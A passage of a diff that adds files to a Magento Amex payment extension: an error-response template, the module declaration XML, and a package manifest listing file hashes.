27
+ <?php echo $this->__('You will be redirected to Amex website when you place an order.') ?>
28
+ </li>
29
+ </ul>
30
+ </fieldset>
app/design/frontend/default/default/template/amex/server/response.phtml ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND MigsVpc payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category Fontis
18
+ * @package Fontis_EwayAu
19
+ * @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+ ?>
23
+ <div class="page-head">
24
+ <h3><?php echo $this->__('Error occured') ?></h3>
25
+ </div>
26
+ <p><?php echo $this->getErrorMessage() ?>.</p>
27
+ <p><?php echo $this->__('Please <a href="%s">continue shopping</a>.', $this->getContinueShoppingUrl()) ?></p>
app/etc/modules/ND_Amex.xml ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <!--
3
+ /**
4
+ * ND MigsVpc payment gateway
5
+ *
6
+ * NOTICE OF LICENSE
7
+ *
8
+ * This source file is subject to the Open Software License (OSL 3.0)
9
+ * that is bundled with this package in the file LICENSE.txt.
10
+ * It is also available through the world-wide-web at this URL:
11
+ * http://opensource.org/licenses/osl-3.0.php
12
+ * If you did not receive a copy of the license and are unable to
13
+ * obtain it through the world-wide-web, please send an email
14
+ * to license@magentocommerce.com so you can be sent a copy immediately.
15
+ *
16
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
17
+ *
18
+ * @category ND
19
+ * @package ND_Amex
20
+ * @copyright Copyright (c) 2010 ND MigsVpc
21
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
22
+ */
23
+ -->
24
+ <config>
25
+ <modules>
26
+ <ND_Amex>
27
+ <active>true</active>
28
+ <codePool>local</codePool>
29
+ <depends>
30
+ <Mage_Payment/>
31
+ </depends>
32
+ </ND_Amex>
33
+ </modules>
34
+ </config>
package.xml ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <package>
3
+ <name>ND_Amex</name>
4
+ <version>0.0.1</version>
5
+ <stability>stable</stability>
6
+ <license uri="http://www.opensource.org/licenses/osl-3.0.php">OSL v3.0</license>
7
+ <channel>community</channel>
8
+ <extends/>
9
+ <summary>Amex payment method integration</summary>
10
+ <description>This module will integrate Amex payment method using its Api.</description>
11
+ <notes>This module will integrate Amex payment method using its Api.</notes>
12
+ <authors><author><name>Nikul Doshi</name><user>Nikul</user><email>nikulonline@gmail.com</email></author></authors>
13
+ <date>2013-02-15</date>
14
+ <time>13:16:32</time>
15
+ <contents><target name="magelocal"><dir name="ND"><dir name="Amex"><dir name="Block"><file name="Form.php" hash="5274e086aa14e46c3f418e74c02318fc"/><file name="Info.php" hash="107012a9d5e50cd2f2e227d5a7f9cb5d"/><dir name="Payment"><file name="Info.php" hash="29f650baf496d3d65bcdeab65b7c78d1"/></dir><dir name="Server"><file name="Failure.php" hash="4bc33161e1d1c221e68cd0234aa9cb00"/><file name="Form.php" hash="ab263fbbaa584a6374f3681b4d0d2110"/><file name="Redirect.php" hash="a7eb237c7f78bfd890d03512844e6379"/><file name="Response.php" hash="cdc291119a3ac642d4b0e2595b8888ce"/></dir></dir><dir name="Controller"><file name="Abstract.php" hash="3b3cf33b135da6d6c346a46944c66c56"/></dir><dir name="Helper"><file name="Data.php" hash="bf0582e6bdf89030545a5f14ab1b11b1"/></dir><dir name="Model"><file name="Info.php" hash="d7fff98cb6b36b288c99eee74c7538c1"/><file name="Server.php" hash="5193e4aeb78420b9658bd330cef6be04"/></dir><dir name="controllers"><file name="ServerController.php" hash="ad6132ff5abb61732d84a90e6c4b1246"/></dir><dir name="etc"><file name="config.xml" hash="d978d9661c16cfc71fae866b2158caca"/><file name="system.xml" hash="ea4e206c65c67cec2a4e3bcc97d4844c"/></dir><dir name="sql"><dir name="migsvpc_setup"><file name="mysql4-install-0.1.0.php" hash="807e55283d420d745aa65b31f376e22c"/></dir></dir></dir></dir></target><target name="magedesign"><dir name="frontend"><dir name="default"><dir name="default"><dir name="layout"><file name="amex.xml" hash="37a6915378acaf8137359ff824f7ffe0"/></dir><dir name="template"><dir name="amex"><file name="form.phtml" hash="416411ec28758fa15de6c4d8ba6b102c"/><file name="info.phtml" hash="c13fe64ae97929b3b732d25b695527ea"/><dir name="method"><dir name="payment"><dir name="bpay"><file name="form.phtml" hash="4ec688f6b5e63186a91ff2414a567f81"/><file name="info.phtml" hash="7d010d2286e619e4a51de4f086ab71c1"/><file name="success.phtml" hash="55572c890d2fb68ded98b051502c31bd"/></dir><dir name="directdeposit"><file name="form.phtml" hash="ed7e15aa93805a227c00997961f7fb93"/><file name="info.phtml" hash="025c3e3b932f9864b0ccb46a58b6df78"/><file name="success.phtml" hash="d460923ed13b3e27abdebed921689490"/></dir></dir><file name="postcode-checkout.phtml" hash="dba2b90faf906a4ff17c72229600a259"/><file name="postcode.phtml" hash="e7c5e5c23f5c7750772321e1c4ffe06b"/></dir><dir name="server"><file name="form.phtml" hash="fcb0d5002d5efea2faeeefb5f66d0600"/><file name="response.phtml" hash="8a3f5b9be4901568104472399b1b1398"/></dir></dir></dir></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="ND_Amex.xml" hash="811bcf28abb00dbfd03cc966c354eb0c"/></dir></target></contents>
16
+ <compatible/>
17
+ <dependencies><required><php><min>5.2.0</min><max>6.0.0</max></php></required></dependencies>
18
+ </package>